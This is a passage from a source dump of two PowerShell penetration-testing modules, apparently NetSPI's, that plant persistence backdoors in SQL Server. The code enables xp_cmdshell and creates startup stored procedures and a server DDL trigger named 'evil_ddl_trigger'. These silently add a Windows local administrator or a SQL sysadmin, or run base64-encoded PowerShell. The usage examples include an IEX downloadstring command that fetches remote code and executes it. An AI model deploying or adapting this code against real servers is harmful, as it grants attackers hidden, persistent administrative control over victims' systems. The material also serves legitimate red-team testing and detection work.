procedure. 6 | This is done marking a user defined stored procedure to run when the SQL Server is restarted 7 | using the native sp_procoption stored procedure. Note: This script requires sysadmin privileges. 8 | 9 | .DESCRIPTION 10 | This script can be used backdoor a Windows system using a SQL Server startup stored procedure. 11 | This is done marking a user defined stored procedure to run when the SQL Server is restarted 12 | using the native sp_procoption stored procedure. This script supports the executing operating system 13 | and PowerShell commands as the SQL Server service account using the native xp_cmdshell stored procedure. 14 | The script also support add a new sysadmin. This script can be run as the current Windows user or a 15 | SQL Server login can be provided. Note: This script requires sysadmin privileges. 16 | 17 | .EXAMPLE 18 | Create startup stored procedure to add a new sysadmin. The example shows the script being run using a SQL Login. 19 | 20 | PS C:\> Invoke-SqlServer-Persist-StartupSp -SqlServerInstance "SERVERNAME\INSTANCENAME" -SqlUser MySQLAdmin -SqlPass MyPassword123! -NewSqlUser mysqluser -NewSqlPass NewPassword123! 21 | 22 | .EXAMPLE 23 | Create startup stored procedure to add a local administrator to the Windows OS via xp_cmdshell. The example shows the script 24 | being run as the current windows user. 25 | 26 | PS C:\> Invoke-SqlServer-Persist-StartupSp -SqlServerInstance "SERVERNAME\INSTANCENAME" -NewOsUser myosuser -NewOsPass NewPassword123! 27 | 28 | .EXAMPLE 29 | Create startup stored procedure to run a PowerShell command via xp_cmdshell. The example below downloads a PowerShell script and 30 | from the internet and executes it. The example shows the script being run as the current Windows user. 31 | 32 | PS C:\> Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "SERVERNAME\INSTANCENAME" -PsCommand "IEX(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/helloworld.ps1')" 33 | 34 | .LINK 35 | http://www.netspi.com 36 | http://msdn.microsoft.com/en-us/library/ms178640.aspx 37 | 38 | .NOTES 39 | Author: Scott Sutherland - 2014, NetSPI 40 | Version: Invoke-SqlServer-Persist-StartupSp.psm1 v1.0 41 | Comments: 42 | - This should work on SQL Server 2005 and Above. 43 | - The added procedures can be manually viewed using the query below. 44 | SELECT ROUTINE_NAME, ROUTINE_DEFINITION 45 | FROM MASTER.INFORMATION_SCHEMA.ROUTINES 46 | WHERE OBJECTPROPERTY(OBJECT_ID(ROUTINE_NAME),'ExecIsStartup') = 1 47 | - The procedures can also be removed with tsql below. 48 | drop proc sp_add_osadmin 49 | drop proc sp_add_sysadmin 50 | drop proc sp_add_pscmd 51 | #> 52 | 53 | [CmdletBinding()] 54 | Param( 55 | 56 | [Parameter(Mandatory=$false, 57 | HelpMessage='Set SQL Login username.')] 58 | [string]$SqlUser, 59 | 60 | [Parameter(Mandatory=$false, 61 | HelpMessage='Set SQL Login password.')] 62 | [string]$SqlPass, 63 | 64 | [Parameter(Mandatory=$false, 65 | HelpMessage='Set username for new SQL Server sysadmin login.')] 66 | [string]$NewSqlUser, 67 | 68 | [Parameter(Mandatory=$false, 69 | HelpMessage='Set password for new SQL Server sysadmin login.')] 70 | [string]$NewSqlPass, 71 | 72 | [Parameter(Mandatory=$false, 73 | HelpMessage='Set username for new Windows local administrator account.')] 74 | [string]$NewOsUser, 75 | 76 | [Parameter(Mandatory=$false, 77 | HelpMessage='Set password for new Windows local administrator account.')] 78 | [string]$NewOsPass, 79 | 80 | [Parameter(Mandatory=$false, 81 | HelpMessage='Create stored procedure that run the provide PowerShell command.')] 82 | [string]$PsCommand, 83 | 84 | [Parameter(Mandatory=$true, 85 | HelpMessage='Set target SQL Server instance.')] 86 | [string]$SqlServerInstance 87 | 88 | ) 89 | 90 | # ----------------------------------------------- 91 | # Setup database connection string 92 | # ----------------------------------------------- 93 | 94 | # Create fun connection object 95 | $conn = New-Object System.Data.SqlClient.SqlConnection 96 | 97 | # Set authentication type and create connection string 98 | if($SqlUser){ 99 | 100 | # SQL login / alternative domain credentials 101 | Write-Output "[*] Attempting to authenticate to $SqlServerInstance with SQL login $SqlUser..." 102 | $conn.ConnectionString = "Server=$SqlServerInstance;Database=master;User ID=$SqlUser;Password=$SqlPass;" 103 | [string]$ConnectUser = $SqlUser 104 | }else{ 105 | 106 | # Trusted connection 107 | Write-Output "[*] Attempting to authenticate to $SqlServerInstance as the current Windows user..." 108 | $conn.ConnectionString = "Server=$SqlServerInstance;Database=master;Integrated Security=SSPI;" 109 | $UserDomain = [Environment]::UserDomainName 110 | $Username = [Environment]::UserName 111 | $ConnectUser = "$UserDomain\$Username" 112 | } 113 | 114 | 115 | # ------------------------------------------------------- 116 | # Test database connection 117 | # ------------------------------------------------------- 118 | 119 | try{ 120 | $conn.Open() 121 | Write-Host "[*] Connected." 122 | $conn.Close() 123 | }catch{ 124 | $ErrorMessage = $_.Exception.Message 125 | Write-Host "[*] Connection failed" -foreground "red" 126 | Write-Host "[*] Error: $ErrorMessage" -foreground "red" 127 | Break 128 | } 129 | 130 | 131 | # ------------------------------------------------------- 132 | # Check if the user is a sysadmin 133 | # ------------------------------------------------------- 134 | 135 | # Open db connection 136 | $conn.Open() 137 | 138 | # Setup query 139 | $Query = "select is_srvrolemember('sysadmin') as sysstatus" 140 | 141 | # Execute query 142 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn) 143 | $results = $cmd.ExecuteReader() 144 | 145 | # Parse query results 146 | $TableIsSysAdmin = New-Object System.Data.DataTable 147 | $TableIsSysAdmin.Load($results) 148 | 149 | # Check if current user is a sysadmin 150 | $TableIsSysAdmin | Select-Object -First 1 sysstatus | foreach { 151 | 152 | $Checksysadmin = $_.sysstatus 153 | if ($Checksysadmin -ne 0){ 154 | Write-Host "[*] Confirmed Sysadmin access." 155 | }else{ 156 | Write-Host "[*] The current user does not have sysadmin privileges." -foreground "red" 157 | Write-Host "[*] Sysadmin privileges are required." -foreground "red" 158 | Break 159 | } 160 | } 161 | 162 | # Close db connection 163 | $conn.Close() 164 | 165 | # ------------------------------------------------------- 166 | # Enabled Show Advanced Options - needed for xp_cmdshell 167 | # ------------------------------------------------------- 168 | 169 | # Status user 170 | Write-Host "[*] Enabling 'Show Advanced Options', if required..." 171 | 172 | # Open db connection 173 | $conn.Open() 174 | 175 | # Setup query 176 | $Query = "IF (select value_in_use from sys.configurations where name = 'Show Advanced Options') = 0 177 | EXEC ('sp_configure ''Show Advanced Options'',1;RECONFIGURE')" 178 | 179 | # Execute query 180 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn) 181 | $results = $cmd.ExecuteReader() 182 | 183 | # Close db connection 184 | $conn.Close() 185 | 186 | 187 | # ------------------------------------------------------- 188 | # Enabled xp_cmdshell - needed for os commands 189 | # ------------------------------------------------------- 190 | 191 | Write-Host "[*] Enabling 'xp_cmdshell', if required..." 192 | 193 | # Open db connection 194 | $conn.Open() 195 | 196 | # Setup query 197 | $Query = "IF (select value_in_use from sys.configurations where name = 'xp_cmdshell') = 0 198 | EXEC ('sp_configure ''xp_cmdshell'',1;RECONFIGURE')" 199 | 200 | # Execute query 201 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn) 202 | $results = $cmd.ExecuteReader() 203 | 204 | # Close db connection 205 | $conn.Close() 206 | 207 | 208 | # ------------------------------------------------------- 209 | # Check if the service account is local admin 210 | # ------------------------------------------------------- 211 | 212 | Write-Host "[*] Checking if service account is a local administrator..." 213 | 214 | # Open db connection 215 | $conn.Open() 216 | 217 | # Setup query 218 | $Query = @" 219 | 220 | -- Setup reg path 221 | DECLARE @SQLServerInstance varchar(250) 222 | if @@SERVICENAME = 'MSSQLSERVER' 223 | BEGIN 224 | set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER' 225 | END 226 | ELSE 227 | BEGIN 228 | set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250)) 229 | END 230 | 231 | -- Grab service account from service's reg path 232 | DECLARE @ServiceaccountName varchar(250) 233 | EXECUTE master.dbo.xp_instance_regread 234 | N'HKEY_LOCAL_MACHINE', @SQLServerInstance, 235 | N'ObjectName',@ServiceAccountName OUTPUT, N'no_output' 236 | 237 | DECLARE @MachineType SYSNAME 238 | EXECUTE master.dbo.xp_regread 239 | @rootkey = N'HKEY_LOCAL_MACHINE', 240 | @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions', 241 | @value_name = N'ProductType', 242 | @value = @MachineType output 243 | 244 | -- Grab more info about the server 245 | SELECT @ServiceAccountName as SvcAcct 246 | "@ 247 | 248 | # Execute query 249 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn) 250 | $results = $cmd.ExecuteReader() 251 | 252 | # Parse query results 253 | $TableServiceAccount = New-Object System.Data.DataTable 254 | $TableServiceAccount.Load($results) 255 | $SqlServeServiceAccountDirty = $TableServiceAccount | select SvcAcct -ExpandProperty SvcAcct 256 | $SqlServeServiceAccount = $SqlServeServiceAccountDirty -replace '\.\\','' 257 | 258 | # Close db connection 259 | $conn.Close() 260 | 261 | # Open db connection 262 | $conn.Open() 263 | 264 | # Setup query 265 | $Query = "EXEC master..xp_cmdshell 'net localgroup Administrators';" 266 | 267 | # Execute query 268 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn) 269 | $results = $cmd.ExecuteReader() 270 | 271 | # Parse query results 272 | $TableServiceAccountPriv = New-Object System.Data.DataTable 273 | $TableServiceAccountPriv.Load($results) 274 | 275 | # Close db connection 276 | $conn.Close() 277 | if($SqlServeServiceAccount -eq "LocalSystem" -or $TableServiceAccountPriv -contains "$SqlServeServiceAccount"){ 278 | Write-Host "[*] The service account $SqlServeServiceAccount has local administrator privileges." 279 | $SvcAdmin = 1 280 | }else{ 281 | Write-Host "[*] The service account $SqlServeServiceAccount does NOT have local administrator privileges." 282 | $SvcAdmin = 0 283 | } 284 | 285 | # ------------------------------------------------------- 286 | # Create startup stored procedure to run PowerShell code 287 | # ------------------------------------------------------- 288 | 289 | if($PsCommand){ 290 | 291 | # Status user 292 | Write-Host "[*] Creating a stored procedure to run PowerShell code..." -foreground "green" 293 | 294 | # Check for local administrator privs 295 | if($SvcAdmin -eq 0){ 296 | Write-Host "[*] Note: The PowerShell wont be able to take administrative actions." -foreground "green" 297 | } 298 | 299 | # --------------------------- 300 | # Create procedure 301 | # --------------------------- 302 | 303 | # This encoding method was based on a function by Carlos Perez 304 | # https://raw.githubusercontent.com/darkoperator/Posh-SecMod/master/PostExploitation/PostExploitation.psm1 305 | 306 | # Encode PowerShell command 307 | $CmdBytes = [Text.Encoding]::Unicode.GetBytes($PsCommand) 308 | $EncodedCommand = [Convert]::ToBase64String($CmdBytes) 309 | 310 | # Check if PowerShell command is too long 311 | If ($EncodedCommand.Length -gt 8100) 312 | { 313 | Write-Host "Encoded is too long." -foreground "red" 314 | }else{ 315 | 316 | # Open db connection 317 | $conn.Open() 318 | 319 | # Setup query 320 | $Query = "IF NOT EXISTS (SELECT * FROM sys.objects WHERE type = 'P' AND OBJECT_ID = OBJECT_ID('dbo.sp_add_pscmd')) 321 | exec('CREATE PROCEDURE sp_add_pscmd 322 | AS 323 | EXEC master..xp_cmdshell ''PowerShell -enc $EncodedCommand''');" 324 | 325 | # Execute query 326 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn) 327 | $results = $cmd.ExecuteReader() 328 | 329 | # Close db connection 330 | $conn.Close() 331 | 332 | # --------------------------- 333 | # Mark procedure for startup 334 | # --------------------------- 335 | 336 | # Open db connection 337 | $conn.Open() 338 | 339 | # Setup query - mark procedure for startup 340 | $Query = "EXEC sp_procoption @ProcName = 'sp_add_pscmd', 341 | @OptionName = 'startup', 342 | @OptionValue = 'on';" 343 | 344 | # Execute query - mark procedure for startup 345 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn) 346 | $results = $cmd.ExecuteReader() 347 | 348 | # Close db connection 349 | $conn.Close() 350 | 351 | Write-Host "[*] Startup stored procedure sp_add_pscmd added to run provided PowerShell command." -foreground "green" 352 | } 353 | }else{ 354 | Write-Host "[*] sp_add_pscmd will not be created because pscommand was not provided." 355 | } 356 | 357 | 358 | # ------------------------------------------------------- 359 | # Create startup stored procedure to add OS Administrator 360 | # ------------------------------------------------------- 361 | 362 | if($NewOsUser){ 363 | 364 | # Check for local administrator privs 365 | if($SvcAdmin -eq 0){ 366 | Write-Host "[*] sp_add_osadmin will not be created because the service account does not have local administrator privileges." 367 | }else{ 368 | 369 | # Status user 370 | Write-Host "[*] Creating a stored procedure to create a os administrator..." -foreground "green" 371 | 372 | # --------------------------- 373 | # Create procedure 374 | # --------------------------- 375 | 376 | # Open db connection 377 | $conn.Open() 378 | 379 | # Setup query 380 | $Query = "IF NOT EXISTS (SELECT * FROM sys.objects WHERE type = 'P' AND OBJECT_ID = OBJECT_ID('dbo.sp_add_osadmin')) 381 | exec('CREATE PROCEDURE sp_add_osadmin 382 | AS 383 | EXEC master..xp_cmdshell ''net user $NewOsUser $NewOsPass /add & net localgroup administrators /add $NewOsUser''');" 384 | 385 | # Execute query - create procedure 386 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn) 387 | $results = $cmd.ExecuteReader() 388 | 389 | # Close db connection 390 | $conn.Close() 391 | 392 | # --------------------------- 393 | # Mark procedure for startup 394 | # --------------------------- 395 | 396 | # Open db connection 397 | $conn.Open() 398 | 399 | # Setup query 400 | $Query = "EXEC sp_procoption @ProcName = 'sp_add_osadmin', 401 | @OptionName = 'startup', 402 | @OptionValue = 'on';" 403 | 404 | # Execute query 405 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn) 406 | $results = $cmd.ExecuteReader() 407 | 408 | # Close db connection 409 | $conn.Close() 410 | 411 | Write-Host "[*] Startup stored procedure sp_add_osadmin was created to add os admin $NewOsUser with password $NewOSPass." -foreground "green" 412 | } 413 | }else{ 414 | Write-Host "[*] sp_add_osadmin will not be created because NewOsUser and NewOsPass were not provided." 415 | } 416 | 417 | # ------------------------------------------------------- 418 | # Create startup stored procedure to add a sysadmin 419 | # ------------------------------------------------------- 420 | 421 | if($NewSqlUser){ 422 | 423 | # Status user 424 | Write-Host "[*] Creating stored procedure sp_add_sysadmin..." -foreground "green" 425 | 426 | # --------------------------- 427 | # Create procedure 428 | # --------------------------- 429 | 430 | # Open db connection 431 | $conn.Open() 432 | 433 | # Setup query 434 | $Query = "IF NOT EXISTS (SELECT * FROM sys.objects WHERE type = 'P' AND OBJECT_ID = OBJECT_ID('dbo.sp_add_sysadmin')) 435 | exec('CREATE PROCEDURE sp_add_sysadmin 436 | AS 437 | CREATE LOGIN $NewSqlUser WITH PASSWORD = ''$NewSqlPass''; 438 | EXEC sp_addsrvrolemember ''$NewSqlUser'', ''sysadmin'';')" 439 | 440 | # Execute query 441 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn) 442 | $results = $cmd.ExecuteReader() 443 | 444 | # Close db connection 445 | $conn.Close() 446 | 447 | # --------------------------- 448 | # Mark procedure for startup 449 | # --------------------------- 450 | 451 | # Open db connection 452 | $conn.Open() 453 | 454 | # Setup query 455 | $Query = "EXEC sp_procoption @ProcName = 'sp_add_sysadmin', 456 | @OptionName = 'startup', 457 | @OptionValue = 'on';" 458 | 459 | # Execute query - mark procedure for startup 460 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn) 461 | $results = $cmd.ExecuteReader() 462 | 463 | # Close db connection 464 | $conn.Close() 465 | 466 | Write-Host "[*] Startup stored procedure sp_add_sysadmin was created to add sysadmin $NewSqlUser with password $NewSqlPass." -foreground "green" 467 | }else{ 468 | Write-Host "[*] sp_add_sysadmin will not be created because NewSqlUser and NewSqlPass were not provided." 469 | } 470 | Write-Host "[*] All done." 471 | } 472 | -------------------------------------------------------------------------------- /Invoke-SqlServer-Persist-TriggerDDL.psm1: -------------------------------------------------------------------------------- 1 | function Invoke-SqlServer-Persist-TriggerDDL 2 | { 3 | <# 4 | .SYNOPSIS 5 | This script can be used backdoor a Windows system using a SQL Server DDL event triggers. 6 | 7 | .DESCRIPTION 8 | This script can be used backdoor a Windows system using a SQL Server DDL event triggers. 9 | As a result, the associated TSQL will execute when any DDL_SERVER_LEVEL_EVENTS occur. This script supports the executing operating system 10 | and PowerShell commands as the SQL Server service account using the native xp_cmdshell stored procedure. 11 | The script also support add a new sysadmin. This script can be run as the current Windows user or a 12 | SQL Server login can be provided. Note: This script requires sysadmin privileges. The DDL_SERVER_LEVEL_EVENTS include: 13 | 14 | CREATE DATABASE 15 | ALTER DATABASE 16 | DROP DATABASE 17 | CREATE_ENDPOINT 18 | ALTER_ENDPOINT 19 | DROP_ENDPOINT 20 | ADD_ROLE_MEMBER 21 | DROP_ROLE_MEMBER 22 | ADD_SERVER_ROLE_MEMBER 23 | DROP_SERVER_ROLE_MEMBER 24 | ALTER_AUTHORIZATION_SERVER 25 | DENY_SERVER 26 | GRANT_SERVER 27 | REVOKE_SERVER 28 | ALTER_LOGIN 29 | CREATE_LOGIN 30 | DROP_LOGIN 31 | 32 | Feel free to change "DDL_SERVER_LEVEL_EVENTS" to "DDL_EVENTS" if you want more coverage, but I haven't had time to test it. 33 | 34 | .EXAMPLE 35 | Create a DDL trigger to add a new sysadmin. The example shows the script being run using a SQL Login. 36 | 37 | PS C:\> Invoke-SqlServer-Persist-TriggerDDL -SqlServerInstance "SERVERNAME\INSTANCENAME" -SqlUser MySQLAdmin -SqlPass MyPassword123! -NewSqlUser mysqluser -NewSqlPass NewPassword123! 38 | 39 | .EXAMPLE 40 | Create a DDL trigger to add a local administrator to the Windows OS via xp_cmdshell. The example shows the script 41 | being run as the current windows user. 42 | 43 | PS C:\> Invoke-SqlServer-Persist-TriggerDDL -SqlServerInstance "SERVERNAME\INSTANCENAME" -NewOsUser myosuser -NewOsPass NewPassword123! 44 | 45 | .EXAMPLE 46 | Create a DDL trigger to run a PowerShell command via xp_cmdshell. The example below downloads a PowerShell script and 47 | from the internet and executes it. The example shows the script being run as the current Windows user. 48 | 49 | PS C:\> Invoke-SqlServer-Persist-TriggerDDL -Verbose -SqlServerInstance "SERVERNAME\INSTANCENAME" -PsCommand "IEX(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/helloworld.ps1')" 50 | 51 | .EXAMPLE 52 | Remove evil_DDL_trigger as the current Windows user. 53 | 54 | PS C:\> Invoke-SqlServer-Persist-TriggerDDL -Verbose -SqlServerInstance "SERVERNAME\INSTANCENAME" -Remove 55 | 56 | .LINK 57 | http://www.netspi.com 58 | https://technet.microsoft.com/en-us/library/ms186582(v=sql.90).aspx 59 | 60 | .NOTES 61 | Author: Scott Sutherland - 2016, NetSPI 62 | Version: Invoke-SqlServer-Persist-TriggerDDL.psm1 v1.0 63 | #> 64 | 65 | [CmdletBinding()] 66 | Param( 67 | 68 | [Parameter(Mandatory=$false, 69 | HelpMessage='Set SQL Login username.')] 70 | [string]$SqlUser, 71 | 72 | [Parameter(Mandatory=$false, 73 | HelpMessage='Set SQL Login password.')] 74 | [string]$SqlPass, 75 | 76 | [Parameter(Mandatory=$false, 77 | HelpMessage='Set username for new SQL Server sysadmin login.')] 78 | [string]$NewSqlUser, 79 | 80 | [Parameter(Mandatory=$false, 81 | HelpMessage='Set password for new SQL Server sysadmin login.')] 82 | [string]$NewSqlPass, 83 | 84 | [Parameter(Mandatory=$false, 85 | HelpMessage='Set username for new Windows local administrator account.')] 86 | [string]$NewOsUser, 87 | 88 | [Parameter(Mandatory=$false, 89 | HelpMessage='Set password for new Windows local administrator account.')] 90 | [string]$NewOsPass, 91 | 92 | [Parameter(Mandatory=$false, 93 | HelpMessage='Create trigger that will run the provide PowerShell command.')] 94 | [string]$PsCommand, 95 | 96 | [Parameter(Mandatory=$true, 97 | HelpMessage='Set target SQL Server instance.')] 98 | [string]$SqlServerInstance, 99 | 100 | [Parameter(Mandatory=$false, 101 | HelpMessage='This will remove the trigger named evil_DDL_trigger create by this script.')] 102 | [Switch]$Remove 103 | ) 104 | 105 | # ----------------------------------------------- 106 | # Setup database connection string 107 | # ----------------------------------------------- 108 | 109 | # Create fun connection object 110 | $conn = New-Object System.Data.SqlClient.SqlConnection 111 | 112 | # Set authentication type and create connection string 113 | if($SqlUser){ 114 | 115 | # SQL login / alternative domain credentials 116 | Write-Output "[*] Attempting to authenticate to $SqlServerInstance with SQL login $SqlUser..." 117 | $conn.ConnectionString = "Server=$SqlServerInstance;Database=master;User ID=$SqlUser;Password=$SqlPass;" 118 | [string]$ConnectUser = $SqlUser 119 | }else{ 120 | 121 | # Trusted connection 122 | Write-Output "[*] Attempting to authenticate to $SqlServerInstance as the current Windows user..." 123 | $conn.ConnectionString = "Server=$SqlServerInstance;Database=master;Integrated Security=SSPI;" 124 | $UserDomain = [Environment]::UserDomainName 125 | $Username = [Environment]::UserName 126 | $ConnectUser = "$UserDomain\$Username" 127 | } 128 | 129 | 130 | # ------------------------------------------------------- 131 | # Test database connection 132 | # ------------------------------------------------------- 133 | 134 | try{ 135 | $conn.Open() 136 | Write-Host "[*] Connected." 137 | $conn.Close() 138 | }catch{ 139 | $ErrorMessage = $_.Exception.Message 140 | Write-Host "[*] Connection failed" -foreground "red" 141 | Write-Host "[*] Error: $ErrorMessage" -foreground "red" 142 | Break 143 | } 144 | 145 | 146 | # ------------------------------------------------------- 147 | # Check if the user is a sysadmin 148 | # ------------------------------------------------------- 149 | 150 | # Open db connection 151 | $conn.Open() 152 | 153 | # Setup query 154 | $Query = "select is_srvrolemember('sysadmin') as sysstatus" 155 | 156 | # Execute query 157 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn) 158 | $results = $cmd.ExecuteReader() 159 | 160 | # Parse query results 161 | $TableIsSysAdmin = New-Object System.Data.DataTable 162 | $TableIsSysAdmin.Load($results) 163 | 164 | # Check if current user is a sysadmin 165 | $TableIsSysAdmin | Select-Object -First 1 sysstatus | foreach { 166 | 167 | $Checksysadmin = $_.sysstatus 168 | if ($Checksysadmin -ne 0){ 169 | Write-Host "[*] Confirmed Sysadmin access." 170 | }else{ 171 | Write-Host "[*] The current user does not have sysadmin privileges." -foreground "red" 172 | Write-Host "[*] Sysadmin privileges are required." -foreground "red" 173 | Break 174 | } 175 | } 176 | 177 | # Close db connection 178 | $conn.Close() 179 | 180 | # ------------------------------------------------------- 181 | # Enabled Show Advanced Options - needed for xp_cmdshell 182 | # ------------------------------------------------------- 183 | 184 | # Status user 185 | Write-Host "[*] Enabling 'Show Advanced Options', if required..." 186 | 187 | # Open db connection 188 | $conn.Open() 189 | 190 | # Setup query 191 | $Query = "IF (select value_in_use from sys.configurations where name = 'Show Advanced Options') = 0 192 | EXEC ('sp_configure ''Show Advanced Options'',1;RECONFIGURE')" 193 | 194 | # Execute query 195 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn) 196 | $results = $cmd.ExecuteReader() 197 | 198 | # Close db connection 199 | $conn.Close() 200 | 201 | 202 | # ------------------------------------------------------- 203 | # Enabled xp_cmdshell - needed for os commands 204 | # ------------------------------------------------------- 205 | 206 | Write-Host "[*] Enabling 'xp_cmdshell', if required..." 207 | 208 | # Open db connection 209 | $conn.Open() 210 | 211 | # Setup query 212 | $Query = "IF (select value_in_use from sys.configurations where name = 'xp_cmdshell') = 0 213 | EXEC ('sp_configure ''xp_cmdshell'',1;RECONFIGURE')" 214 | 215 | # Execute query 216 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn) 217 | $results = $cmd.ExecuteReader() 218 | 219 | # Close db connection 220 | $conn.Close() 221 | 222 | 223 | # ------------------------------------------------------- 224 | # Check if the service account is local admin 225 | # ------------------------------------------------------- 226 | 227 | Write-Host "[*] Checking if service account is a local administrator..." 228 | 229 | # Open db connection 230 | $conn.Open() 231 | 232 | # Setup query 233 | $Query = @" 234 | 235 | -- Setup reg path 236 | DECLARE @SQLServerInstance varchar(250) 237 | if @@SERVICENAME = 'MSSQLSERVER' 238 | BEGIN 239 | set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER' 240 | END 241 | ELSE 242 | BEGIN 243 | set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250)) 244 | END 245 | 246 | -- Grab service account from service's reg path 247 | DECLARE @ServiceaccountName varchar(250) 248 | EXECUTE master.dbo.xp_instance_regread 249 | N'HKEY_LOCAL_MACHINE', @SQLServerInstance, 250 | N'ObjectName',@ServiceAccountName OUTPUT, N'no_output' 251 | 252 | DECLARE @MachineType SYSNAME 253 | EXECUTE master.dbo.xp_regread 254 | @rootkey = N'HKEY_LOCAL_MACHINE', 255 | @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions', 256 | @value_name = N'ProductType', 257 | @value = @MachineType output 258 | 259 | -- Grab more info about the server 260 | SELECT @ServiceAccountName as SvcAcct 261 | "@ 262 | 263 | # Execute query 264 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn) 265 | $results = $cmd.ExecuteReader() 266 | 267 | # Parse query results 268 | $TableServiceAccount = New-Object System.Data.DataTable 269 | $TableServiceAccount.Load($results) 270 | $SqlServeServiceAccountDirty = $TableServiceAccount | select SvcAcct -ExpandProperty SvcAcct 271 | $SqlServeServiceAccount = $SqlServeServiceAccountDirty -replace '\.\\','' 272 | 273 | # Close db connection 274 | $conn.Close() 275 | 276 | # Open db connection 277 | $conn.Open() 278 | 279 | # Setup query 280 | $Query = "EXEC master..xp_cmdshell 'net localgroup Administrators';" 281 | 282 | # Execute query 283 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn) 284 | $results = $cmd.ExecuteReader() 285 | 286 | # Parse query results 287 | $TableServiceAccountPriv = New-Object System.Data.DataTable 288 | $TableServiceAccountPriv.Load($results) 289 | 290 | # Close db connection 291 | $conn.Close() 292 | 293 | if($SqlServeServiceAccount -eq "LocalSystem" -or $TableServiceAccountPriv -contains "$SqlServeServiceAccount"){ 294 | Write-Host "[*] The service account $SqlServeServiceAccount has local administrator privileges." 295 | $SvcAdmin = 1 296 | }else{ 297 | Write-Host "[*] The service account $SqlServeServiceAccount does NOT have local administrator privileges." 298 | $SvcAdmin = 0 299 | } 300 | 301 | # ------------------- 302 | # Setup the pscommand 303 | # ------------------- 304 | $Query_PsCommand = "" 305 | if($PsCommand){ 306 | 307 | # Status user 308 | Write-Host "[*] Creating encoding PowerShell payload..." -foreground "green" 309 | 310 | # Check for local administrator privs 311 | if($SvcAdmin -eq 0){ 312 | Write-Host "[*] Note: PowerShell won't be able to take administrative actions due to the service account configuration." -foreground "green" 313 | } 314 | 315 | # This encoding method was based on a function by Carlos Perez 316 | # https://raw.githubusercontent.com/darkoperator/Posh-SecMod/master/PostExploitation/PostExploitation.psm1 317 | 318 | # Encode PowerShell command 319 | $CmdBytes = [Text.Encoding]::Unicode.GetBytes($PsCommand) 320 | $EncodedCommand = [Convert]::ToBase64String($CmdBytes) 321 | 322 | # Check if PowerShell command is too long 323 | If ($EncodedCommand.Length -gt 8100) 324 | { 325 | Write-Host "PowerShell encoded payload is too long so the PowerShell command will not be added." -foreground "red" 326 | }else{ 327 | 328 | # Create query 329 | $Query_PsCommand = "EXEC master..xp_cmdshell ''PowerShell -enc $EncodedCommand'';" 330 | 331 | Write-Host "[*] Payload generated." -foreground "green" 332 | } 333 | }else{ 334 | Write-Host "[*] Note: No PowerShell will be executed, because the parameters weren't provided." 335 | } 336 | 337 | # ------------------- 338 | # Setup newosuser 339 | # ------------------- 340 | $Query_OsAddUser = "" 341 | if($NewOsUser){ 342 | 343 | # Status user 344 | Write-Host "[*] Creating payload to add OS user..." -foreground "green" 345 | 346 | # Check for local administrator privs 347 | if($SvcAdmin -eq 0){ 348 | 349 | # Status user 350 | Write-Host "[*] The service account does not have local administrator privileges so no OS admin can be created. Aborted." 351 | Break 352 | }else{ 353 | 354 | # Create query 355 | $Query_OsAddUser = "EXEC master..xp_cmdshell ''net user $NewOsUser $NewOsPass /add & net localgroup administrators /add $NewOsUser'';" 356 | 357 | # Status user 358 | Write-Host "[*] Payload generated." -foreground "green" 359 | } 360 | }else{ 361 | Write-Host "[*] Note: No OS admin will be created, because the parameters weren't provided." 362 | } 363 | 364 | # ----------------------- 365 | # Setup add sysadmin user 366 | # ----------------------- 367 | $Query_SysAdmin = "" 368 | if($NewSqlUser){ 369 | 370 | # Status user 371 | Write-Host "[*] Generating payload to add sysadmin..." -foreground "green" 372 | 373 | # Create query 374 | $Query_SysAdmin = "IF NOT EXISTS (SELECT * FROM sys.syslogins WHERE name = ''$NewSqlUser'') 375 | exec(''CREATE LOGIN $NewSqlUser WITH PASSWORD = ''''$NewSqlPass'''';EXEC sp_addsrvrolemember ''''$NewSqlUser'''', ''''sysadmin'''';'')" 376 | 377 | # Status user 378 | Write-Host "[*] Payload generated." -foreground "green" 379 | }else{ 380 | Write-Host "[*] Note: No sysadmin will be created, because the parameters weren't provided." 381 | } 382 | 383 | # ------------------------------------------------------- 384 | # Create DDL trigger 385 | # ------------------------------------------------------- 386 | if(($NewSqlUser) -or ($NewOsUser) -or ($PsCommand)){ 387 | # Status user 388 | Write-Host "[*] Creating trigger..." -foreground "green" 389 | 390 | # --------------------------- 391 | # Create procedure 392 | # --------------------------- 393 | 394 | # Open db connection 395 | $conn.Open() 396 | 397 | # Setup query 398 | $Query = "IF EXISTS (SELECT * FROM sys.server_triggers WHERE name = 'evil_ddl_trigger') 399 | DROP TRIGGER [evil_ddl_trigger] ON ALL SERVER 400 | exec('CREATE Trigger [evil_ddl_trigger] 401 | on ALL Server 402 | For DDL_SERVER_LEVEL_EVENTS 403 | AS 404 | $Query_OsAddUser $Query_SysAdmin $Query_PsCommand')" 405 | 406 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn) 407 | $results = 